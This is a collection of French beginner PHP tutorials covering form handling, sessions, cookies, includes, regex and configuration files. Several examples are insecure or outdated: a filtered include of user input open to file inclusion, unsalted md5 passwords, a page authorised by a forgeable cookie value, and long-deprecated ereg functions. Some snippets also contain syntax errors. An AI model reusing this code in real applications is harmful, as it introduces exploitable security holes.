La norme HTML à toutefois prévu ce cas de figure… Elle veut que les caractères réservés pour elle même tels que les apostrophes, les guillemets ou les signes < et > soient remplacés par leur valeur décimale lorsqu\’ils doivent être utilisés comme valeur d\’un paramètre d\’une balise. Attention, il ne s\’agit pas de les remplacer par leur équivalent en codage internationnal comme &gt; pour le signe > cette syntaxe étant réservée pour l\’affichage des caractères dans la page HTML et non pour leur utilisation dans les balises. On utilisera ici la syntaxe &#nn ou nn est la valeur décimale du caractère. Il convient donc de demander à PHP de remplacer dans $MAVAR les caractères problématiques, à savoir principalement la apostrophe et le caractère > par leur représentation alternative :

<HTML>
<HEAD></HEAD>
<BODY>
<form action=\’result.php\’ method=\’post\’>
<input type=\’text\’ name=\’MAVAR_ENSORTIE\’ value=<?php echo ereg_replace(>CHR(62),\”&#62\”,ereg_replace(CHR(39),\”&#39\”,$MAVAR)) ?> >
</BODY> </HTML>

Si l\’on consulte le source du fichier envoyé par PHP au navigateur, on verra maintenant :

<input type=\’text\’ name=\’MAVAR_ENSORTIE\’ value=\’Ceci est la page de Stéph&#39 – Bonjour ! \’>

Pour le navigateur, la seconde apostrophe n\’apparait bien qu\’après le \”Bonjour !\”, il prend bien toute la chaine en tant que valeur. Et au moment de l\’affichage de cette valeur dans la zone de saisie il remplace le code \”&#39\” par une apostrophe.

Fatal error: Unable to open C:\\Mes in – on line 0 No input file specified.

Une erreur assez classique qui se produit avec certaines versions de PHP et/ou avec certains serveurs. Dans le cas présent le script tente d\’accéder à un répertoire dont le nom contient des espaces (\”Mes Documents\”). Ce qui n\’est pas apprécié par certains serveurs, notemmemt les serveurs Unix. Ceci est également valable pour les noms de fichiers. Une bonne habitude pour s\’éviter ces désagréments consiste donc à n\’utiliser que des noms de répertoires ou fichiers exempts d\’espaces, de caractères accentués, et typographiés en minuscules uniquement.

Fatal error: Unable to open c:\\datas\\htdocs\\html\\php\\test.php3 in – on line 0 No input file specified.

Une erreur toute bête mais le message n\’est pas forcement clair, surtout quand il indique une erreur à la ligne 0. En fait c\’est tout simplement que le fichier indiqué n\’existe pas et qu\’il y a donc une erreur de frappe soit dans son chemin d\’accès soit dans son nom. Les pseudo frames PHP


Depuis un bon moment, on en parle, mais, on n’a pas encore mis en place une “super méthode”.

Voici mon 1er essai :

<?php
$page=$_GET["page"];

//Ajoutons des slashs au cas ou …
$page=addslashes($page);

//Enlevons les caractères html
$page=htmlentities($page);

//on enlève les posibilités d’inclusions depuis un autre site
if(eregi(‘:/’,$page)){ $page=”defaut”; }
if(eregi(‘./’,$page)){ $page=”defaut”; }

//Testons si la page demandé existe bien en local
if(file_exists($_SERVER["DOCUMENT_ROOT"].’/’.$page.’.php’)){
include($page.’.php’);
}else{
include(‘defaut.php’);
}
?>

Discutons en et trouvons le code le plus sécurisé possible. Après, je le mettrai dans le tutoriels pour mettre en place un systèmes de pseudo frame PHP un minimum sécurisé.

Récupérer l’extension d’un fichier en PHP – SIMPLE


Récupérer l’extension d’un fichier en PHP est en faite beaucoup plus simple que ce qu’on utile la plupart du temps.

exemple d’un code pour récupérer l’extension d’un fichier que j’ai utilisé asès longtemps :

<?php
function get_file_ext($file)
{
$ext = substr(strtolower(strrchr(basename($file), ”.”)), 1);
return $ext;
}
?>

Voici maintenant la même chose avec une fonction intégré dans PHP qui fais la même chose en une seul étape :

<?php
$ext = pathinfo(‘le_fichier.html’, PATHINFO_EXTENSION);
?>

Plus d’information sur pathinfo

Utiliser gzopen et gzread


gzopen — Ouvre un fichier compressé
int gzopen(string filename, string mode);

Ouvre un fichier compressé avec gzip (.gz) pour le lire ou líécrire. Le paramètre de mode est le même que dans fopen() (“rb”
ou “wb”) mais il peut aussi inclure un niveau de compression (“wb9″) ou une stratégie: ‘f’ pour les données filtrées, comme
dans “wb6f”, ‘h’ pour Huffman seul , comme dans “wb1h”.

Gzopen peut être utilisé pour ouvrir des fichiers qui ne sont pas au format gzip; dans ce cas, gzread() lira directement le
fichier, sans appliquer de décompression.
Gzopen retourne un pointeur de fichier sur le fichier ouvert. Ce pointeur sera nécessaire pour toutes les opérations ultérieures
sur ce fichier. Les opéraitions de compression/décompression seront transparaentes.
Si l’ouverture échoue, la fonction retourne faux (false).

Exemple :

<?php
$fp = gzopen(“/tmp/file.gz”, ”r”);
?>

gzread
gzread — Lit un fichier compressé en mode binaire
string gzread(int zp, int length);

gzread() lis jusquíà length octets depuis le fichier compressé référencé par zp. La lecture stoppe lorsque length octets
décompressés ont été lus, ou que la fin du fichier a été trouvée.

Exemple :

<?php
$filename = ”/usr/local/something.txt.gz”;
$zd = gzopen( $filename, ”r” );
$contents = gzread( $zd, 10000 );
gzclose( $zd );
?>

Installer un serveur web avec apache php et mysql


Il serait intéressant de pouvoir tester vos scripts php en local avant de les envoyer sur le serveur qui héberge votre site web. Pour cela, il faut installer un serveur local capable d’interpréter le langage PHP. Cette page explique la procédure la plus simple pour réaliser cette installation, ce qui devrait arranger pas mal les débutants !

Il existe un excellent package qui installe et configure automatiquement un environnement de travail complet permettant de mettre en oeuvre toute la puissance et la souplesse qu’offre le langage dynamique PHP. Ce package porte le nom “EasyPHP” que vous pouvez télécharger en cliquant ici.

Une fois le téléchargement terminé, lancez le programme d’installation, sélectionnez le répertoire dans lequel vous voulez que l’application soit installée, puis suivez les insctructions.

Après cette installation, démarrez EasyPHP. Vous trouverai EasyPhp dans “demarrer/programme/easyphp/. Une icone alors se placera dans la barre des tâches de votre PC. Un clic droit sur cette icone permet d’accéder à un petit menu permettant entre autre de démarrer ou arrêter Apache et mySql, ouvrir l’index de votre serveur en cliquant sur “Web local”, qui est en fait simplement un raccourci vers http://localhost/.

A ce stade, votre serveur est correctement installé et configuré. Maintenant, il est indispensable de placer vos fichiers php dans le répertoire nommé www. A partir de là, vous pouvez exécuter sur votre machine locale tous les scripts et applications PHP que vous voulez.

Vous pouvez aussi installer apache+mysql+php séparement, mais pour débuter Easyphp est conseiller :-)

Introduction au php

Naissance du PHP

PHP : Hypertext PreProcessor


La première version de PHP fut créée par Rasmus Lerdorf en 1994. Cette version appelée à l’époque Personal Home Pages, était simplement destinée à son usage personnel, à noter que cette version supportait déjà des requêtes SQL (base de données). En 1995, PHP 1.0 était en libre téléchargement. A l’heure actuelle plus de 500 000 sites utilisent ce langage très populaire, simple d’approche et surtout très puissant qui est en passe de devenir le standard du futur.

Note : PHP est distribué librement et gratuitement sous licence GNU GPL.

Principe du PHP
Le langage est avant tout un langage de script (scripting). Le code inseré dans les pages HTML, est alors exécuté par le serveur sous réserve que vos pages portent l’extention .php3 (ou encore .php ou .php4).Ce principe est par exemple différent de JavaScript où les scripts sont exécutés par le navigateur (client), mais il est identique à la technologie ASP de Microsoft. Très simple à appréhender car possédant une syntaxe claire et très proche du langage C, le PHP reste une solution qui conviendra aux débutants comme aux professionnels, pour dynamiser un site Web ou l’interfacer avec une Base de données.

Exemple:
Il existe 4 façons d’intégrer du code PHP à l’intérieur de document HTML A l’aide des tags <? et ?>

<?
echo (“Premier exemple PHP”);
?>

A l’aide des tags <?php et ?>

<?php
echo (“Premier exemple PHP”);
?>

A l’aide de délimiteur de type ASP (<% et %>)

<%
echo (“Premier exemple PHP”);
%>

A l’aide de la balise <script language=”…”>

<script language=”PHP”>
<!–
echo (“Premier exemple PHP”);
//–>
</script>

La syntaxe de PHP ressemble fortement au langage C. Il est aussi orienté objet.

Mettre des commentaires PHP


Mettre des commentaires dans vos script est vraiment très importants.

Quand vous est en train de faire votre script, vous vous souvenez parfaitement à quoi correspond chaque variables, chaque boucles, mais au bout de 1 mois, 6 mois ! Vous ne vous souviendrai plus ! A ce moment là, les commentaires que vous aurez insérer vous rendront la vie plus facile et vous permettra de gagner du temps.

Il existe plusieurs façons de commenter :

1er) Sur une seul ligne en utilisant // ou #
Exemple :

<?php
//un commentaire sur une ligne
#un autre
echo ici du code;
?>

2eme) Sur plusieurs lignes
Exemple :

<?php
/* un texte
commenté sur
plusieurs lignes
*/
echo puis, un code affiché;
?>

Rappel
Si vous chercher comment mettre des commentaires dans une page html, il faut utiliser <!– texte –>
Exemple :

<html>
<body>
Un texte NON commenté
<!– un texte commenté invisible –>
</body>
</html>

Récuperer les informations d un formulaire en php


D’abord vous devez creer un formulaire, en voici un exemple:
formulaire.html

<html>
<body>
<form method=”post” action=”recup.php”>
Nom : <input type=”text” name=”nom” size=”20″><br>
Prénom : <input type=”text” name=”prenom” size=”20″>
<input type=”submit” value=”Enregistrer”>
</form>
</body>
</html>


Ce qui affichera ceci :


Nom :
Prénom :

Ensuite, la page php qui va récupérer les infos que vous avez tapé dans le formulaire :

<?PHP
//On recupere les variables passer dans le tableau $_POST[] :
$prenom = $_POST['prenom'];
$nom = $_POST['nom'];

//On fais un print des variables obtenues :
print ”Bonjour $prenom $nom, comment ça va?”;
?>

Ce qui affichera :

Bonjour Prenom, Nom , comment ca va ?

Ce qu’il faut retenir :
- Utiliser $_POST[prenom] pour récupérer la valeur des champs du formulaire. L’utilisation de la suele variable $prenom pose des problèmes de sécurités.

Ce code est très bien pour commencer, mais, si vous avez envie d’utiliser ceci sur votre site, il ne faut jamais faire confiance aux donnée fourni par un internaute ! jamais si vous voulez que votre site reste intact. 90% des piratages (à vue de nez) sont du à une mauvaise connaissances des langages de programmation.
Bon, très bien vous allez me dire, mais, je fais quoi alors ? La réponse est simple : il faut filtré les informations reçu, puis, on pourra les afficher sans crainte.

Pour être sur que je ne raconte pas des conneries, faire un essai avec ce texte (<b>Test</b>). Le afficher sera en gras, ce qui voudra dire que votre page php vient d’exécuter le code html passer par le formulaire.

Bref, comment on fais pour être sur ? Essayer ce code :

<?PHP
//On recupere les variables passer dans le tableau $_POST[] :
$prenom = htmlentities($_POST['prenom'], ENT_QUOTES);
$nom = htmlentities($_POST['nom'], ENT_QUOTES);

//On fais un print des variables obtenues :
print ”Bonjour $prenom $nom, comment ça va?”;
?>

htmlentities filtre tous caractèere spécial qui pourrai s’exécuter. Si on re essaye ce texte (<b>Test</b>), le résultat sera bien : <b>Test</b> et non Test .

ENT_QUOTES spécifie que les quotes (‘ et “) doivent aussi être encodé. ceci est une sécurité supplémentaire.

Utilisation de continue et break


Voici un exemple pour comprendre l’utilité des fonctions continue et break

<html>
<head><title>Continue, Break</title></head>
<body>
<p>
<?php
for ($i=0;$i<10;$i++) {
echo $i;  // va afficher 0,2,4,6,8
$i++;
echo $i;  // va afficher 1.3.5.7.9
}
echo ”<br>”;
for ($i=0;$i<10;$i++) {
echo $i;
$i++;
if ($i>4) break;
echo $i;
}
echo ”<br>”;
for ($i=0;$i<10;$i++) {
echo $i;
$i++;
if ($i>4) continue;
echo $i;
}
?>
</p>
</body>
</html>

Donne le résultat:

0123456789
01234
0123468

Introduction au sessions PHP


Le support des sessions de PHP est un moyen de préserver des données entre plusieurs accès. Cela vous permet de créer des applications personnalisées, et d’augmenter l’attractivité de votre site.

Si vous êtes familier avec la gestion de session de la librairie PHPLIB, vous remarquerez que certains concepts sont similaires.

Chaque visiteur accédant à votre page web se voit assigné un identifiant unique, appelé ‘identifiant de session’. Il peut être stocké soit dans un cookie, soit propagé dans l’URL.

Le support des sessions vous permet d’enregistrer un nombre illimité de variables qui doivent être préservées entre les requêtes. Lorsqu’un visiteur accède à votre site, PHP va vérifier automatiquement (si session.auto_start est activé1) ou sur demande (explicitement avec session_start ou implicitement avec session_register ) si il existe une session du même nom. Si c’est le cas, l’environnement précédemment sauvé sera recréé.

Toutes les variables sont sérialisées après l’exécution du script PHP. Les variables qui sont indéfinies sont marquées comme telles. Lors des accès ultérieurs, elles ne seront pas définies, jusqu’à ce que l’utilisateur le fasse.
Note
La gestion des sessions a été ajoutée en PHP 4.0.

Sessions et sécuriter

Utiliser les sessions ne signifie pas que les données de session ne pourront être vue que par un seul utilisateur. Il est important de garder cela en tête, lorsque vous stockez et affichez des données importantes. Lorsque vous stockez des données dans une session, il faut se demander quels seront les problèmes posés si quelqu’un d’autre accède à cette information, ou comment votre application est affectée si la session est en fait celle d’un autre.

Par exemple, si quelqu’un usurpe une session, il peut alors poster un message dans un forum sous une fausse identitée. Quelle est la gravité de ce problème? Ou bien, il peut accèder aux commandes d’un client, et même, modifier son panier d’achat. A priori, c’est moins problématique pour un fleuriste que pour un pharmacien.

Par conséquent, lorsque vous manipulez des données importantes, il faut exploiter d’autres méthodes pour décider si une session est valide ou pas. Les sessions ne fournissent pas une méthode fiable d’authentification.

Les sessions reposent sur un identifiant de session, ce qui signifie que quelqu’un peut voler cet identifiant, rien qu’en volant l’ID. Ce vol peut être rendu très difficile, comme par exemple en utilisant les cookies, mais en aucun cas cela sera impossible. Les sessions dépendent aussi de la discipline de l’utilisateur qui referme son navigateur à la fin de la session pour tout clore proprement. De plus, même les cookies de session peuvent être surveillés sur un réseau, ou bien notés par un proxy.

Protéger une page avec les sessions php


Depuis la version 4.1.0 de PHP, on utilise la variable $_SESSION pour récupérer ou gérer tout les variables de session.
On s’en sert très souvent pour faire un accès sécurisé. Voici un rapide exemple de comment faire une page accéssible que via login et mot de passe.

Tout d’abord, le formulaire html ou l’on va entrer le login et mot de passe (form.html)

<p>Formulaire de connexion</p>
<form action=”identification.php” method=”post”>
Login : <input type=”text” name=”login” value=”" /><br />
Login : <input type=”password” name=”mdp” value=”" /><br />
<input type=”submit” value=”envoyer”>
</form>

Puis, une page config.php dans lequel on va stocker le login et mot de passe de l’administrateur :

<?php
$_admin_pass = md5(‘motdepasse’); // on crypt pour pouvoir comparer - plus securisé
$_admin_login = ’login’;
?>

Ensuite, la page qui va vous identifier : (identification.php)

<?php
session_start(); // on initalise les sessions php

// on inclu la page de config
include(“./config.php”);

if($_POST && !empty($_POST['login']) && !empty($_POST['mdp']))
{
$login = htmlentities($_POST['login'], ENT_QUOTES);
$mdp = htmlentities($_POST['mdp'], ENT_QUOTES);

// on crypt le mot de passe envoyer par le formulaire
$password_md5 = md5($mdp);

if(($_admin_login == $login) && ($password_md5 == $_admin_pass))
{
$_SESSION['_login'] = $login;
$_SESSION['_pass'] = $password_md5;

echo ’<p style=”color:green”>Connexion réussi! </p>’;
echo ’<p><a href=”./index.php”>Page admin</a></p>’;
}
else
{
echo ’<p style=”color:red”>Mauvais login ou mot de passe</p>’;
include(“form.html”);
exit();
}

}
?>

Ensuite, il faut un code php qui va vérifié, sur chaque page que vous voulez protégé, que nous sommes bien connecté : (verif.php)

<?php
session_start();

// on inclu la page de config
include(“./config.php”);

if(!isset($_SESSION['_login']) || !isset($_SESSION['_pass']))
{
// si on ne détecte aucune sessions, c’est que cette personne n’est pas connecté
// on affiche le formulaire de connexion
echo ’<p><b style=”color:red”>espace sécurisé</b><br />Connecté vous pour accéder à cette page</p>’;
include(“./form.html”);
exit();
}
else
{
// les sessions existe … reste à savoir si les informations sont correct ou non
if(($_admin_login != $_SESSION['_login']) || ($_SESSION['_pass'] != $_admin_pass))
{
echo ’<p><b style=”color:red”>Votre connexion ne semble pas valide</b></p>’;
include(“form.html”);
exit();
}
}
?>

Pour finir, il faut une 1er page qui test si on est connecté ou non et qui affichera la page (ou une liste de page protégé). Appellons cette 1er page index.php :

<?php
include(‘./verif.php’); // si la vérification est ok : on aura accès au reste de la page.

echo ’
<p>
<b>Bonjour</b><br />
Vous est connecté en tant que <b>’.$_SESSION['_login'].’</b>
</p>’;
?>

Ceci est vraiment un exemple assès basique de comment créer un petit espace protéger par login et mot de passe unique. Le système d’identification peut et devrai être améliorer dans un univers en production. On est dans un cadre d’apprentissage.

Si vous avez du mal à le mettre en place, le forum est ouvert.

La variable env


Depuis la version 4.1.0 de PHP, on utilise la variable $_ENV pour récupérer tous les variables d’environnement..

Voici quelques exemples d’utilisation de $_ENV :

<?php
echo ’Nombre de process actifs=>’.$_ENV['NUMBER_OF_PROCESSORS'].’<br>’;
echo ’Système d’exploitation=>’.$_ENV['OS'].’ <br>’;
echo ’Chemin du répertoire temporaire=>’.$_ENV['TMP'].’ <br>’;
echo ’Chemin du profil utilisateur=>’.$_ENV['USERPROFILE'].’ <br>;
?>


Pour les voir tous :

<?php
echo ’<pre>’;
print_r($_ENV);
echo ’</pre>’;
?>

La variable server ou serv


Depuis la version 4.1.0 de PHP, on utilise la variable $_SERVER pour récupérer tout les variables qui sont propre au SERVEUR.

Voici quelques exemples :


<?php
echo ’Chemin du script courant : ’.$_SERVER['PHP_SELF'].’<br>’;
echo ’Nom du serveur : ’.$_SERVER['SERVER_NAME'].’<br>’;
echo ’Variables passées au script : ’.$_SERVER['QUERY_STRING'].’<br>’;
echo ’Document root : ’.$_SERVER['DOCUMENT_ROOT'].’<br>’;
echo ’Référant : ’.$_SERVER['HTTP_REFERER'].’<br>’;
echo ’Adresse ip de l\’utilisateur : ’.$_SERVER['REMOTE_ADDR'].’<br>’;
?>

La plupart de ces infos sont aussi accésible via la variable $_SERV.

Note importante

L’utilisation de la variable PHP_SELF est sujet à la posibilité d’exploité une faille. Pour en lire plus : Faille PHP_SELF .

Les variables PHP simplent


Une variable est représentée par un signe dollar “$” suivi du nom de la variable.

Quand vous nommer une variable ne mettez pas de . ou de , ou ; et surtout pas d’espace , ou tout autre caractere speciaux. par contre celle ci est accepter : _
Il ne faut as non plus COMMENCER par un chiffre (exemple : $21variable)
Voyon un exemple concret.
Nous allons attribuer une valeur a une variable :
NOTE : Une variable doit etre entre guillemet (“) sinon ele ne sera pas interpreter. (exemple 2)

Exemple 1

<?PHP
$le_nom =”toto”;
print ”La varibles est : $le_nom”;
?>

La variable est : toto

Exemple 2

<?PHP
$le_nom =”toto”;
print ’La varibles est : $le_nom’;
?>

la variable est : $le_nom

Dans le second cas, la variable n’est pas interpreter par ce qu’elle ce trouve entre simple quote. (‘)
Il faut penser a toujours la placer entre guillemet (“)
Bien entendue y’a une exeption, comme partout, y’a pas de generalité :-)
mais je prefere pour l’instant ne pas compliquer la chose, deja que…

Bon, maintenant nous allons voir avec plusieur variables:
Code

<?PHP
$prenom =”Cedric”;
$nom =”Lermine”;
$age=”8″;
print ”Son prenom est $prenom, le nom est $nom et il a $age ans.”;
?>


Résultats :

Son prenom est Cedric, le nom est Lermine et il a 8 ans.

Programmer avec register_globals à off


Quand on apprend à programmer, on ne sais pas tout de suite ce qu’il faut faire, ou, ne pas faire. Les choses qui sont indispensables, les choses superflues… Ce petit récapitulatif n’est pas exaustif, mais, j’espère qu’elle vous aidera pour débuter sans faire les même erreurs que moi :) Ici, je suppose que vous avez néanmoins déjà un minimum d’expérience en programmation PHP.

Les variables
Depuis PHP plus récent que la version 4.1.0, les serveur sont générale configurer avec les variables globales à OFF. Ca veu dire quoi? En gros, vous devez présisez la provenance de chaque variables.
exemple :

* Dans l’url : index.php?page=truc , $page est récupéré avec [b]$_GET[page][/b]
* Par un formulaire : <form type=”input” name=”page”> , $page est récupéré avec [b]$_POST[page][/b]
* D’une sessions : Les sessions sont particulière, on déclare une sessions grace au tableau [b]$_SESSION[][/b].
Ex : <?php sessions_start(); $_SESSION[page]=”accueil”; ?>

Il en existe d’autre comme [b]$_SERVER[][/b] et [b]$_ENV[][/b], mais, elle sont moins importante au début. Du moins, je trouve. Pour une liste des variables, voir : les types de variables PHP .

Tout cela été pour dire que vous avez peut etre appris que l’on pouvais faire ceci :

<?php
echo $page;
?>


pour afficher la variable qui provient de l’url index.php?page=accueil.
On PEUT le faire sur certain serveur encore, MAIS, imaginer que vous avez un formulaire avec un champs qui s’appelle “page”.
Le code le voici :

<form type=”input” name=”page” value=”accueil”>


Sur la page (recup.php), qui récupère les donnée du formulaire, on écrirai :

<?php
echo $page;
?>

Et, si maintenant, je fais ceci :
recup.php?page=coucou

La page recup.php va afficher la variable $page de l’url, et non celle du formulaire.

Ce n’est qu’un exemple tout bête, mais il faut TOUJOURS programmer en utilisant les BONS variable pour chaque type !


$_GET pour l’url
$_POST pour les formulaire
$_SESSION pour les sessions

Utiliser la variable COOKIE


Depuis la version 4.1.0 de PHP, on utilise la variable $_COOKIE pour récupérer tout les variables contenues dans vos cookies.

Exemples
Gerer une variable cookie (_COOKIE)

Pour déclarer un cookie :

<?php
$expire = 365*24*3600;
setcookie(“testcookie”,”oui”,time()+$expire); // on l’envoi
?>

La page test2.php :

<?php
if($_COOKIE['testcookie']==”oui”){
echo ’Vous êtes autorisé sur cette page’;
}else{
echo ”Vous n’êtes pas autorisé sur cette page”;
}
?>

Introduction aux expressions régulieres regex


Qu’est-ce qu’une expression régulière?

Les expressions régulières sont des modèles créés à l’aide de caractères ASCII permettant de manipuler des chaînes de caractères, c’est-à-dire permettant de trouver les portions de la chaîne correspondant au modèle. Ce système est emprunté au système POSIX (un système d’exploitation). De nombreux scripts sous UNIX les utilisent (notamment Perl ).

En réalité il s’agit d’un système fort ingénieux (et aussi très puissant) permettant de retrouver un mot, ou une phrase (et même beaucoup d’autres choses en réalité) dans un texte, ressemblant au modèle que l’on a construit…

Construire une expression régulière

Les expressions régulières permettent de rechercher des occurrences (c’est-à-dire une suite de caractères correspondant à ce que l’on recherche) grâce à une série de caractères spéciaux. L’expression régulière en elle-même est donc une chaîne de caractère contenant des caractères spéciaux et des caractères standards…

Les symboles ^ et $ indiquent le début ou la fin d’une chaine, et permettent donc de la délimiter. “^debut”: chaine qui commence par “debut” “fin$”: chaine qui se termine par “fin” “^chaine$”: chaine qui commence et se termine par “chaine” “abc”: chaine contenant la chaine “abc” Les symboles *, + et ?, respectivement “zero ou plusieurs”, “un ou plusieurs”, “un ou aucun”, permettent de donner une notions de nombre. “abc+”: chaine qui contient “ab” suivie de un ou plusieurs “c” (“abc”, “abcc” etc..) “abc*”: chaine qui contient “ab” suivie de zero ou plusieurs “c” (“ab”, “abc” etc..) “abc?”: chaine qui contient “ab” suivie de zero ou un “c” (“ab” ou “abc”) “^abc+”: chaine qui commence par “ab” suivie de un ou plusieurs “c” (“abc”, “abcc” etc..)

Les accolades {X,Y} permettent de donner des limites de nombre. “abc{2}”: chaine qui contient “ab” suivie de deux “c” (“abcc”) “abc{2,}”: chaine qui contient “ab” suivie de deux “c” ou plus (“abcc” etc..) “abc{2,4}”: chaine qui contient “ab” suivie 2, 3 ou 4 “c” (“abcc” .. “abcccc”) A noter que le premier nombre de la limite (“{0,2}”, mais pas “{,2}”) est obligatoire. Les symboles vu précedemment (‘*’, ‘+’, and ‘?’) sont équivalents à “{0,}”, “{1,}”, et “{0,1}”.

Les parenthèses ( ) permettent de représenter une séquence de caractères. “a(bc)*”: chaine qui contient “a” suivie de zero “bc” ou plus La barre verticale | se comporte en tant qu’opérateur OU “un|le”: chaine qui contient “un” ou “le” “(un|le) chien”: chaine qui contient “un chien” ou “le chien” “(a|b)*”: chaine qui contient une suite de “a” ou de “b” Le point . indique n’importe quel caractère (une fois) “^.{3}$”: chaine qui contient 3 caractères Les crochets [ ] définissent une liste de caractères autorisés (ou interdits). Le signe – permet quand à lui de définir un intervalle. Le caractère ^ après le premier crochet indique quand à lui une interdiction. “[abc]“: chaine qui contient un “a”, un “b”, ou un “c” “[a-z]“: chaine qui contient un caractère compris entre “a” et “z” “[^a-zA-Z]“: chaine qui ne commence pas par une lettre

* Pour rechercher un caractère faisant partie des caractères spéciaux, il suffit de le faire précéder d’un antislash ( sauf entre crochets )
* un antislash doit donc être doublé!

En effet dans les crochets, chaque caractère représente ce qu’il est. Pour représenter un ] il faut le mettre en premier (ou après un ^ si c’est une interdiction), un – se met en premier ou en dernier. “[\+?{}.]“: chaine qui contient un de ces six caractères “[]-]”: chaine qui contient le caractère “]” ou le caractère “-”

Voici un tableau récapitulatif des caractères spéciaux utilisés dans les expressions régulières:

Caractère Utilité
[] Les crochets définissent une liste de caractères autorisés
() Les parenthèse définissent un élément composé de l’expression régulière qu’elle contient
{} Les accolades lorsqu’elles contiennent un ou plusieurs chiffres séaprés par des virgules représente le nombre de fois que l’élément précédant les accolades peut se reproduire (par exemple p{2,5} correspond à ppp , pppp ou ppppp
- Un moins entre deux caractères dans une liste représente un intervalle (par exemple [a-d] représente [abcd] )
. Le caractère point représente un caractère unique
* Le caractère astérisque indique la répétition indéterminée de l’élément la précédant
? Le caractère “point d’interrogation indique la présence éventuelle de l’élément la précédant
| Occurence de l’élément situé à gauche de cet opérateur ou de celui situé à droite ( lard|cochon )
^

* Placé en début d’expression il signifie “chaîne commençant par .. “
* Utilisé à l’intérieur d’une liste il signifie “ne contenant pas les caractères suivants…

$ Placé en fin d’expression il signifie “chaîne finissant par .. “

Ce document issu de CommentCaMarche.net est soumis à la licence GNU FDL . Vous pouvez copier, modifier des copies de cette page tant que cette note apparaît clairement

Les regex avec ereg eregi eregi_replace ereg_replace


ereg
La fonction ereg() dont la signature est la suivante :
Booleen ereg( chaine modele,chaine texte[,tableau occurences] )
permet d’évaluer le texte passer en argument grâce au modèle (qui est une expression régulière) et stocke toutes les occurences dans un tableau passé optionnellement en paramètre. Lorsque la fonction trouve des occurences, elle renvoie true , sinon elle retourne false .

eregi
La fonction eregi() dont la signature est la suivante :
Booleen eregi( chaine modele,chaine texte[,tableau occurences] )
effectue le même travail que sa consoeur ereg() , à la différence près qu’elle n’est pas sensible à la casse (pas de différenciation minuscules/majuscules)

<?

$fp = fopen(“http://www.com%6dentcamarche%2enet”,”r”); //lecture du fichier
while (!feof($fp))
{ //on parcoure toutes les lignes
$page .= fgets($fp, 4096); // lecture du contenu de la ligne
}

$titre = eregi(“<title>(.*)</title>”,$page,$regs); //on isole le titre

/* Le titre commence par <title>, puis contient n’importe quelle chaine, et se termine par </title> */

echo $regs[1];
// on retourne la premiere occurence trouvée
// Les occurences se trouvent entre parenthèses
// $regs[0] renvoie toute la chaine

fclose($fp);

?>

Les fonctions ereg_replace et eregi_replace

La fonction ereg_replace() dont la signature est la suivante :
chaine ereg_replace( chaine modele,chaine remplacement,chaine texte )
Permet de retourner la chaine texte passée en arguments avec les occurences trouvees remplacées par la chaine de remplacement.
Pour utiliser les occurences correspondant au modele dans la chaine de remplacement, il suffit d’utiliser des parenthèses dans la chaine modele, puis de faire référence à ces éléments dans la chaine de remplacement en utilisant deux signes antislash suivi d’un numéro identifiant l’élément entre 0 et 9 (les numéros sont donnés par ordre d’imbriquement, puis de gauche à droite, le zéro représente la chaine entière).
Le code suivant remplace Toto par <b>Toti Toto</b>… inutile mais formateur.

$Texte = “Bienvenue a Toto dans le mondes des expressions régulières”;
$Texte = ereg_replace(“To(to)”,”<b>\\1ti \</b>”,$Texte);

Le code suivant (utilisation avancée des expressions régulières) remplace un URL par un hypertexte HTML (il remplace toute suite de caractères de ponctuations et alphanum&eacuyte;riques commençant par http:// , ou ftp:// par le même texte (sans le http://) entre balises HTML hypertexte…):

$Texte = “Bienvenue sur http://www.commentcamarche.net cher ami”;
$Texte = ereg_replace(“(http://)(([[:punct:]]|[[:alnum:]])*)”,”<a href=\”\\”>\\2</a>”,$Texte);

La fonction eregi_replace() dont la signature est la suivante :
chaine eregi_replace( chaine modele,chaine remplacement,chaine texte )
effectue le même travail que sa consoeur ereg_replace() , à la différence près qu’elle n’est pas sensible à la casse (pas de différenciation minuscules/majuscules).

La fonction split()

La fonction split() possède la syntaxe suivante:

tableau split (chaîne expression, chaîne texte [, entier limite])
La fonction split() retourne un tableau à partir d’une chaine et d’une expression régulière. La limite, optionnelle permet de limiter la taille du tableau retourné. Dans ce cas le dernier élément du tableau contient le reste de la chaine. Si une erreur se produit, split retourne 0.

<?

// découpe une phrase en un tableau de mots
// on utilise split au cas ou plusieurs espaces séparent les mots
$phrase = ”Ceci est une phrase avec trois espaces ici”;
$tableau_mots = split(“ +”,trim($phrase)); // un espace ou plus

?>

La fonction sql_regcase()

La fonction sql_regcase() possède la syntaxe suivante:

chaine sql_regcase (chaine texte)

Elle retourne une expression régulière qui représente la chaine passée en paramètre sans tenir compte de la case. Chaque caractère de la chaine est representé entre crochets, avec deux caractères à l’intérieur un en majuscule et l’autre en minuscule, ou le cas échéant deux fois le même caractères. Aucune explication ne vaut un bon exemple ;)

<?

echo sql_regcase(“un test”); // affiche [Uu][Nn][ ][Tt][Ee][Ss][Tt]

?>

Cette fonction permet de générer une chaine non sensible à la casse, pour les expressions régulières dans les bases de données par exemple. Dans MySQL lorsque vous utilisez la fonction REGEXP (au lieu de LIKE) la recherche est sensible à la casse. La solution est donc de générer une chaine non sensible à la casse à l’aide de sql_regcase.

<?

$motclef = sql_regcase(“motclef”);
$sql = ”SELECT * from table WHERE champ REGEXP \”[[:<:]]$motclef[[:>:]]\”";
// selectionne tous les enregistrements de la table table, contenant le MOT motclef

?>

Ce document issu de CommentCaMarche.net est soumis à la licence GNU FDL . Vous pouvez copier, modifier des copies de cette page tant que cette note apparaît clairement.

Lire un fichier ini avec fonction parse_ini_file


Exemple de lecture d’un fichier .ini avec la fonction parse_ini_file.

Ceci est la façon la plus simple de la parcourir, vous pouvez la compliquer à loisir.

<table border=”1″ cellpadding=”1″ cellspacing=”0″>
<tr>
<td colspan=”2″>
<?php
$fichier = dirname(__FILE__).”/fichier.ini”;

echo ”Affichage des données sans les différentes sections.”;
echo ”  </td>”;
echo ”</tr>”;
$tableauIni = parse_ini_file($fichier);
while (list($key, $val) = each($tableauIni)) {
echo ”<tr>”;
echo ”  <td>”;
echo ”$key”;
echo ”  </td>”;
echo ”  <td>”;
echo ”$val”;
echo ”  </td>”;
echo ”</tr>”;
}
?>
</table>

Le fichier.ini :

; Quelques lignes de commentaires.
; Le parseur ne les prendra pas en compte.

utilisateur = 3
administrateur = 1
;rien = rien

titre = Mon application
url = http://www.tild.com

fichier = parse_ini_file.php
chemin = /home/e-smith/files/ibays/kangouroo/html/bible/fichier
droit = 755

Voici le résultats de ce code :

Affichage des données sans les différentes sections.
utilisateur 3
administrateur 1
titre Mon application
url http://www.tild.com
fichier parse_ini_file.php
